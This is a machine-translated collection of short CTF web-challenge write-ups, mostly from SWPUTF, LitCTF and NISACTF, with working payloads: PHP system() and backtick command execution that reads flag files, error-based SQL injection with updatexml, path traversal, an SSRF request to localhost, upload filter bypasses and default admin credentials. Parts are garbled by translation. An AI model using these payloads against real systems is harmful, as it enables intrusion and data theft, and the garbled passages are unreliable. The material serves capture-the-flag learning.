【SWPUTF 2021新人大会】gift_F12
f12 の後、ctrl+f でフラグを検索します
[SWPUTF 2021新人大会]jicao——json_decode()
暗号化された形式
$json = '{"a":"php","b":"mysql","c":3}';
json は二重引用符で囲んで送信する必要があります
構造: json={"x":"wllm" (GET 時、POST 時)id=wllmNB
【SWPUTF 2021 フレッシュマンコンペティション】easy_md5
名前=QNKCDZO
パスワード=240610708
【SWPUTF 2021フレッシュマンコンペティション】easyrce
url=システム('ls /');
?url=system('cat /flllllaaaaaaagggggg');
【フィフススペース2021】WebFTP
README.md にはデフォルトのアカウントとパスワードが含まれています
アカウント: 管理者
パスワード: admin888
フラグはphpinfo.phpにあります
[SWPUTF 2021 新人コンテスト]Do_you_know_http
ユーザーエージェント: ブラウザ名
x-forwarded-for: 127.0.0.1
【SWPUTF 2021フレッシュマンコンペティション】babyrce
[SWPUTF 2021 フレッシュマンコンペティション]easyupload1.0
phtmlをアップロードしてMIMEを変更する
【SWPUTF 2021フレッシュマンコンペティション】no_wakeup
[SWPUTF 2021 Freshman Competition]疑似プロトコル
[ZJCTF 2019]NiZhuanSiWei
2 番目の PHP ファイルは解析されるため、擬似プロトコルを使用する必要があります
[NISACTF 2022]easyssrf
ここには stristr 関数があり、file 変数を介してファイル プロトコルが読み取られるのを防ぐため、file コマンドはフィルターで除外されます。問題ありません。file 変数を直接使用してファイルを読み取ることができます。
ここでは、まず strstr、stristr、strops の違いを紹介します。簡単に言うと:
strstr は大文字と小文字が区別され、文字がある場合はその文字から開始されます。 true を返します。それ以外の場合は false を返します。 a>
stristr 文字 は大文字と小文字を区別しません。 文字から始まります。存在する場合は true を返し、それ以外の場合は false を返します
strpos は大文字と小文字を区別します。strpos の検索が成功すると、位置が返されます。位置が0の可能性があるため、検索失敗の判定には===falseを使用した方が適切です。
ファイルの内容
http://node2.anna.nssctf.cn:28373/ha1x1ux1u.php?file=../../../../../../flag
方法 2
【BJDCTF 2020】easy_md5
[NCTF 2018] サインインに関する質問
[SWPUTF 2021 Freshman Competition]エラー
?id=1' updatexml(1,concat(0x7e,(test_tb からフラグを選択),0x7e),1)--+
?id=1'そして updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--+
【SWPUTF 2021フレッシュマンコンペティション】ハードレース
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E% 9E%9E%9E%98%98%98%98%98%98%98);
【LitCTF 2023】PHPは世界最高の言語です! !
【NSSCTF2022春採用】ezgame
【GXYCTF 2019】ピンピンピン
概要フィルタリングされた一重引用符および二重引用符、()、フラグ
[LitCTF 2023] ミサイルの痕跡
【鶴留シティカップ2021】EasyP
ハイライト_ファイルはファイル読み取りの役割を果たすことができ、コードの最初の行にはutils.phpのファイルが含まれているため、フラグがこのファイルにあると大胆に推測します(もちろん、私はそれを実行しており、フラグがその中にあることは知っています)推測する必要はありません))。
したがって、次にやるべきことは 2 つあります。1 つは正規表現をバイパスして show_source を空にしないこと、もう 1 つは、basename($_SERVER['PHP_SELF']) の値を utils.php に、偶数にすることです。 $_SERVER['PHP_SELF'] が ******/utils.php の場合、最終的なベース名の値は utils.php となり、highlight_file がファイルを読み取ります。
したがって、/utils\.php\/*$/i と /show_source/ の通常の一致を回避する方法を見つける必要があります。
それをバイパスするには、最後に非 ASCII を追加するだけです。
したがって、%88 または文字化けの原因となる URL エンコードを使用して、それを回避できます。/utils\.php\/*$/i 通常のマッチング。
/show_source/用show[source或者show.source绕过,这个记住即可。
/index.php/utils.php/%88?show[source=1
[LitCTF 2023]1zjs
【SWPUTF 2021フレッシュマンコンペティション】決勝戦
ご覧のとおり、フィルタ | シンボルがなく、exec 実行時にエコーも発生しません。この質問では、Linux コマンド「tee」を使用して、実行したいコマンドをファイルに書き込み、それにアクセスする必要があります。このファイルはこのコマンドを実行するために使用されます。
[LitCTF 2023]ピン
f12-f1
[LitCTF 2023]私をフォローしてハッキングしてください
【SWPUTF 2021フレッシュマンコンペティション】ez_caesar
U1hYSFlLe2R0em1mYWpwc3RiaGZqeGZ3fQ==
SXXHYK{dtzmfajpstbhfjxfw}
str_list = list(plaintext)
: その後の操作を容易にするために、プレーン テキストを文字リストに変換します。
i = 0
: ループカウンター i を初期化します。
while i < len(plaintext):
: プレーンテキスト文字列内の各文字を反復処理するループを開始します。
if not str_list[i].isalpha():
: 現在の文字が文字でない場合、暗号化は実行されず、変更されないままになります。
else:
: 現在の文字が文字の場合は、次の操作を実行します。
a = "A" if str_list[i].isupper() else "a"
: 現在の大文字と小文字に基づいて、基本文字 A または a を決定します。
str_list[i] = chr((ord(str_list[i]) - ord(a) + 5) % 26 + ord(a) or 5)
: Caesar Cipher のルールに従って、現在の文字を 5 桁後方に移動し、対応する ASCII 値を再計算して、文字に変換し直します。
i = i + 1
: カウンタを更新し、次の文字を処理します。
return ''.join(str_list)
: 文字リストを文字列に変換し、暗号化された暗号文を返します。
他の場所では動きがありません
[NISACTF 2022]チェックイン
データをエクスポートできない場合は、これをお試しください
a = 'E2 80 AE E2 81 A6 20 46 6C 61 67 21 E2 81 A9 E2 81 A6 4E 31 53 41 43 54 46'
b = ''
for i in a.split():
x = '%'+i
b += x
print(b)
import re
string = "E280AEE281A620466C616721E281A9E281A64E315341435446"
# 写出正则表达式 任意2个字符
pattern = re.compile('.{2}')
# findall是找到所有的字符,再在字符中添加空格,当然你想添加其他东西当然也可以
print('%'.join(pattern.findall(string)))
あはははは=ジタングレイロ%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68 % 69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E% 31 %53%41%43%54%46
[SWPUTF 2022 フレッシュマンコンペティション]ez_ez_php
PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7DQoNCg0KZWNobyAgICJOU1NDVEZ7ZmxhZ19pc19ub3RfaGVyZX0iIC4i PGJyLz4iOw0KZWNobyAicmVhbF9mbGFnX2lzX2luXydmbGFnJyIuIjxici8+IjsNCmVjaG8gIuaNouS4quaAnei3r++8jOivleivlVBIUOS8quWNj+iuruWRoiI7DQo=
TlNTQ1RGe2VlZmQzOWM3LTNiNDMtNDUyMi1hYWNjLWYzMDkxNDNiMzg0ZH0K
【UUCTF 2022フレッシュマンコンペティション】websign
[HDCTF 2023]HDCTF 2023へようこそ
死んだらフラグが立つよ
[HNCTF 2022 WEEK2]ez_ssrf
fsockopen — ネットワーク接続または Unix ソケット接続を開く
hostname
OpenSSL がインストールされている場合は、ホスト名アドレスの前にアクセス プロトコルを追加する必要があります。ssl://または a>tls://。これにより、TCP/IP プロトコルに基づいた SSL または TLS クライアントを使用してリモート ホストに接続できます。
port
ポート番号。このパラメータに -1 が渡された場合、ポートが使用されないことを意味します (例: unix://)。
errno
このパラメータが渡された場合、システム レベルのconnect()呼び出しで発生したシステム レベルのエラー番号が保持されます。
場合
errno
の戻り値は0、この関数の戻り値は0です。 a> ) が呼び出される前にエラーが発生したことを示します。これが最大の理由です。接続失敗の場合。ソケットの初期化中にエラーが発生した可能性があります。 connect()FALSE
の場合、ソケット接続 (
errstr
エラーメッセージは文字列として返されます。
timeout
接続時間制限を秒単位で設定します。
fsockopen() はファイル ハンドルを返します。このファイル ハンドルは、他のファイル クラス関数 (例: fgets()、fgetss()、fwrite()、fclose) によって呼び出すことができます。 () と feof()) があります。呼び出しが失敗した場合は、
FALSE
が返されます。
feof — ファイル ポインタがファイルの末尾に到達したかどうかをテストします
fgets — ファイル ポインタから行を読み取る
length
handle
が指すファイルから 1 行を読み取り、最大length
- 1 バイトの長さの文字列を返します。 128 バイトを読み取ります。これはフラグの長さとまったく同じである可能性があります
dirseach スキャンは flag.php をスキャンでき、ローカル アクセスが必要です。
彼のポート 80 にローカルでアクセスします
host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
【UUCTF2022フレッシュマンコンペティション】ez_rce
eval — 文字列を PHP コードとして実行する
?code=printf(`c\at /fffffffffflagafag`);